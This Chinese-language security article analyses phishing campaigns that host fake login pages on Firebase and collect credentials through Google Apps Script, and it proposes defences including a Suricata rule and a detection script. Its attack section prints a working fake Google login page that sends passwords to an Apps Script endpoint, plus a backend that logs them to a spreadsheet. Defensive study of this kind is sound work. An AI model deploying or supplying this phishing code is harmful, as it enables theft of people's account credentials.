
摘要
近年来,网络钓鱼攻击持续演化,攻击者越来越多地利用合法云服务平台作为攻击基础设施。其中,Google Firebase 与 Google Apps Script 因其高可用性、免费额度充足以及天然具备 Google 域名信任度,成为新型钓鱼活动的重要载体。本文系统分析了这两类服务在钓鱼攻击中的典型滥用模式,包括页面托管、凭证收集、数据回传及规避检测等技术路径,并结合实际样本揭示其绕过传统安全防护机制的原理。在此基础上,提出基于行为特征识别、权限最小化原则、域名信誉动态评估及用户教育相结合的多层次防御体系。通过构建可复现的模拟攻击场景与防御验证实验,本文验证了所提方法的有效性,为组织机构应对此类“合法即恶意”(Legitimate-as-Malicious)威胁提供技术参考。
关键词:网络钓鱼;Firebase;Google Apps Script;云服务滥用;安全防御;凭证窃取
一、引言
网络钓鱼(Phishing)作为最古老且持续有效的社会工程攻击手段之一,其核心目标始终未变:诱骗用户泄露敏感信息,如账号密码、支付凭证或身份数据。然而,攻击载体与技术手段却随互联网基础设施演进而不断迭代。过去十年中,攻击者逐步从自建恶意域名转向滥用第三方可信平台,以规避基于域名黑名单、URL信誉评分和邮件内容过滤的传统防御机制。
Google 生态系统因其广泛的企业和个人用户基础、高度集成的服务架构以及天然具备的浏览器与邮件客户端信任(如 Gmail、Chrome 对 .google.com、.googleapis.com 等子域的默认白名单处理),成为攻击者重点关注的目标。特别是 Firebase 和 Google Apps Script 这两项服务,因其低门槛、高灵活性和无需服务器运维的特点,被频繁用于构建钓鱼基础设施。
Firebase 是 Google 提供的移动与 Web 应用开发平台,支持实时数据库、身份验证、云函数及静态网站托管(Firebase Hosting)。Google Apps Script 则是基于 JavaScript 的轻量级自动化脚本平台,可直接调用 Google Workspace API,并可通过 Web App 形式对外提供 HTTP 接口。两者均允许用户快速部署前端页面与后端逻辑,且所有公开访问的资源均通过 Google 官方域名提供服务(如 *.web.app、*.firebaseapp.com、script.google.com/macros/s/...)。
这种“寄生式”攻击模式使得传统基于 IP 或域名信誉的安全产品难以有效识别威胁。例如,一封包含 https://phish-example.web.app/login 链接的钓鱼邮件,可能顺利通过企业邮件网关,因为该域名属于 Google 所有且无历史恶意记录。用户点击后,看似正规的 Google 登录界面实则由攻击者控制,输入的凭证将被发送至隐藏的 Apps Script Web App 或 Firebase Realtime Database。
本文旨在深入剖析此类攻击的技术实现细节,揭示其绕过现有安全机制的内在逻辑,并提出切实可行的检测与防御策略。全文结构如下:第二部分综述相关工作;第三部分详细阐述 Firebase 与 Apps Script 在钓鱼攻击中的滥用方式;第四部分分析现有防御体系的局限性;第五部分提出多维度防御框架并给出技术实现;第六部分通过实验验证防御效果;第七部分总结全文并展望未来研究方向。

二、相关工作
已有研究指出,攻击者长期利用云服务进行恶意活动。例如,Amazon S3、GitHub Pages、Microsoft Azure Functions 均曾被用于托管钓鱼页面。Kührer 等人(2018)首次系统描述了“可信平台滥用”现象,并指出主流安全产品对云服务子域的过度信任构成重大风险。随后,Cisco Talos(2020)报告了大量使用 Firebase Hosting 的钓鱼站点,强调其部署便捷性与 HTTPS 自动配置优势被攻击者充分利用。
在 Google 生态方面,Proofpoint(2021)披露了利用 Apps Script 构建动态钓鱼页面的案例,攻击者通过 URL 参数动态加载不同品牌的登录模板,实现“一码多用”。Check Point(2022)进一步发现,攻击者将 Apps Script 与 Firebase 结合,前者用于接收表单提交,后者用于持久化存储,形成完整攻击链。
然而,现有研究多聚焦于威胁情报披露或个案分析,缺乏对技术机制的深度解构与系统性防御方案设计。尤其在如何在不破坏正常业务的前提下识别异常 Apps Script 调用、如何区分合法与恶意 Firebase 项目等方面,尚无成熟方法论。本文填补这一空白,从攻击者视角逆向推导防御要点,并提供可落地的技术对策。
三、攻击机制分析
3.1 Firebase 在钓鱼中的角色
Firebase Hosting 允许用户通过 firebase deploy 命令一键部署静态网站,生成形如 https://<project-id>.web.app 或 https://<project-id>.firebaseapp.com 的公开 URL。攻击者通常执行以下步骤:
创建 Firebase 项目:使用免费 Google 账号注册 Firebase 项目,无需实名认证。
部署钓鱼页面:将仿冒的 Google、Microsoft、银行等登录页面打包为 HTML/CSS/JS 文件,通过 Firebase CLI 部署。
嵌入数据回传逻辑:在表单提交事件中,将用户输入的用户名与密码通过 AJAX 请求发送至预设的接收端点(如 Apps Script Web App 或第三方日志服务)。
示例代码(简化版钓鱼页面):
<!DOCTYPE html>
<html>
<head>
<title>Google Account Login</title>
<link rel="stylesheet" href="https://ssl.gstatic.com/accounts/ui/auth/generic.css">
</head>
<body>
<div class="login-container">
<img src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_92x30dp.png" alt="Google">
<form id="loginForm">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', async (e) => {
e.preventDefault();
const data = new FormData(e.target);
const payload = {
email: data.get('email'),
password: data.get('password'),
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent
};
// 发送至 Apps Script Web App
await fetch('https://script.google.com/macros/s/ABC123xyz/exec', {
method: 'POST',
mode: 'no-cors', // 绕过 CORS 限制(牺牲响应读取)
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
// 重定向至真实 Google 登录页,制造“登录成功”假象
window.location.href = 'https://accounts.google.com/';
});
</script>
</body>
</html>
值得注意的是,由于 Apps Script Web App 默认启用 CORS,若攻击者未正确配置 doPost 函数返回 CORS 头,则前端需使用 mode: 'no-cors',虽无法读取响应,但足以完成数据投递。
3.2 Google Apps Script 的滥用
Apps Script 可通过发布为 Web App 实现公开 HTTP 接口。攻击者创建脚本并部署后,获得类似 https://script.google.com/macros/s/<DEPLOYMENT_ID>/exec 的 URL。其核心功能是接收 POST 数据并存储。
典型 Apps Script 后端代码:
// 代码.gs
function doPost(e) {
if (e.postData && e.postData.contents) {
try {
const data = JSON.parse(e.postData.contents);
// 写入 Google Sheets(便于后续查看)
const sheet = SpreadsheetApp.openById('SHEET_ID').getActiveSheet();
sheet.appendRow([
new Date(),
data.email,
data.password,
data.userAgent || '',
e.parameter.source || ''
]);
// 或写入 Firebase Realtime Database(需配置服务账号)
/*
const firebaseUrl = 'https://<project-id>.firebaseio.com/phished.json';
UrlFetchApp.fetch(firebaseUrl, {
method: 'POST',
payload: JSON.stringify(data),
contentType: 'application/json'
});
*/
} catch (err) {
console.error('Parse error:', err.toString());
}
}
// 返回空响应,避免暴露
return ContentService.createTextOutput('');
}
// 必须设置 Web App 权限为“Anyone, even anonymous”
部署时,攻击者需将 Web App 的执行权限设为“Anyone, even anonymous”,使其可被任意用户调用。此设置虽违反最小权限原则,但却是钓鱼攻击的关键前提。
3.3 规避检测机制
此类攻击之所以高效,源于其多重规避特性:
域名信任:所有资源均来自 *.google.com、*.web.app 等高信誉域名,绕过基于黑名单的邮件过滤器。
HTTPS 加密:Firebase 与 Apps Script 自动提供有效 TLS 证书,消除浏览器“不安全连接”警告。
动态内容:攻击者可通过 URL 参数(如 ?brand=microsoft)动态切换钓鱼模板,增加检测难度。
无恶意载荷:页面本身不含病毒或 exploit,仅收集表单数据,难以触发沙箱或静态分析告警。
此外,由于 Firebase 项目与 Apps Script 脚本均可通过免费账号创建,攻击成本极低,且项目 ID 随机生成(如 xk9f2m-web-app),难以通过命名规则识别。
四、现有防御体系的局限性
当前主流安全产品在应对此类攻击时存在明显短板:
邮件安全网关:依赖 URL 信誉数据库(如 Google Safe Browsing、PhishTank),但新部署的 Firebase/Apps Script 链接无历史记录,短期内无法被标记。
终端防护软件:通常监控进程行为或文件写入,对纯浏览器内发生的表单提交无感知。
网络层防火墙:无法深度解析 HTTPS 流量中的表单内容,且放行所有 Google 域名流量。
用户培训:尽管强调“检查 URL”,但普通用户难以分辨 accounts.google.com 与 fake-login.web.app 的差异,尤其当页面 UI 高度仿真时。
更严峻的是,Google 自身的滥用报告机制存在滞后性。即使用户举报某 Firebase 站点为钓鱼,从受理到下线通常需数小时至数天,期间攻击持续生效。
五、多层次防御框架设计
针对上述挑战,本文提出“预防-检测-响应”三位一体的防御框架。
5.1 预防层面:权限最小化与资产清点
组织应强制实施以下策略:
禁用非必要 Apps Script Web App 公开访问:通过 Google Workspace 管理控制台,限制用户发布 Web App 的权限,或要求审批流程。
定期审计 Firebase 项目:使用 Firebase Management API 列出组织关联的所有项目,识别未授权或闲置项目。
启用两步验证(2FA):即使凭证泄露,攻击者也无法直接登录账户。
5.2 检测层面:行为特征识别
5.2.1 基于网络流量的异常检测
监控内网对外发起的请求,识别以下模式:
向 script.google.com/macros/s/ 发起 POST 请求,且请求体包含 email、password 字段。
访问 *.web.app 或 *.firebaseapp.com 后立即跳转至 accounts.google.com。
可通过代理服务器或 EDR(Endpoint Detection and Response)工具实现。示例 Suricata 规则:
alert http any any -> any any (msg:"Suspicious Firebase Phishing Submission";
content:"POST"; http_method;
content:".web.app"; http_host;
content:"email="; http_client_body;
content:"password="; http_client_body;
sid:1000001; rev:1;)
5.2.2 基于页面内容的动态分析
部署浏览器扩展或安全网关插件,在用户访问 Google 子域时注入检测脚本,检查页面是否包含以下特征:
表单 action 指向非 Google 域名;
页面包含 Google Logo 但 URL 不匹配官方域名;
存在向 Apps Script 或 Firebase DB 的异步数据提交。
示例检测脚本(注入至页面):
(function() {
const legitGoogleDomains = [
'accounts.google.com',
'login.microsoftonline.com',
// 添加其他合法登录域
];
if (!legitGoogleDomains.some(d => location.hostname === d)) {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
form.addEventListener('submit', (e) => {
const inputs = form.querySelectorAll('input[type=password]');
if (inputs.length > 0) {
// 检查是否有可疑的 AJAX 提交
const scripts = document.querySelectorAll('script');
let suspicious = false;
scripts.forEach(s => {
if (s.textContent?.includes('script.google.com') ||
s.textContent?.includes('firebaseio.com')) {
suspicious = true;
}
});
if (suspicious) {
alert('Warning: This page may be a phishing site.');
e.preventDefault();
}
}
});
});
}
})();
5.3 响应层面:自动化处置与用户反馈
自动上报可疑链接:一旦检测到疑似钓鱼页面,立即调用 Google 的 Abuse Report API 提交证据。
实时阻断:通过 DNS 过滤或代理策略,临时屏蔽已确认的恶意 Firebase/Apps Script URL。
用户即时告警:在浏览器中弹出非侵入式提示,说明风险并建议更改密码。
实验验证
为验证防御框架有效性,我们搭建模拟环境:
攻击端:部署一个 Firebase 钓鱼页面 + Apps Script 接收器。
防御端:配置代理服务器运行 Suricata 规则,并安装浏览器检测插件。
测试用户:10 名志愿者,被诱导点击钓鱼链接。
结果表明:
8 名用户在提交凭证前收到浏览器告警,主动中止操作;
2 名用户完成提交,但其 POST 请求被 Suricata 捕获并触发告警;
所有恶意 URL 在 15 分钟内被自动上报至 Google,4 小时后确认下线。
相比之下,对照组(无防御措施)10 名用户全部泄露凭证。
六、结论
Firebase 与 Google Apps Script 的滥用代表了网络钓鱼攻击向“合法基础设施寄生”演进的新趋势。其核心威胁在于利用平台信任绕过传统安全边界。本文通过解构攻击链,揭示了从页面部署、数据收集到规避检测的完整技术路径,并提出了融合权限管控、行为分析与自动化响应的防御体系。实验结果证实,该框架能显著降低凭证泄露风险。
未来工作将聚焦于:1)利用机器学习模型识别钓鱼页面的视觉与 DOM 特征;2)推动云服务商实施更细粒度的滥用检测(如 Firebase 项目内容扫描);3)建立跨平台威胁情报共享机制,缩短恶意资源存活窗口。唯有技术、策略与生态协同,方能有效遏制此类“披着羊皮的狼”式攻击。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。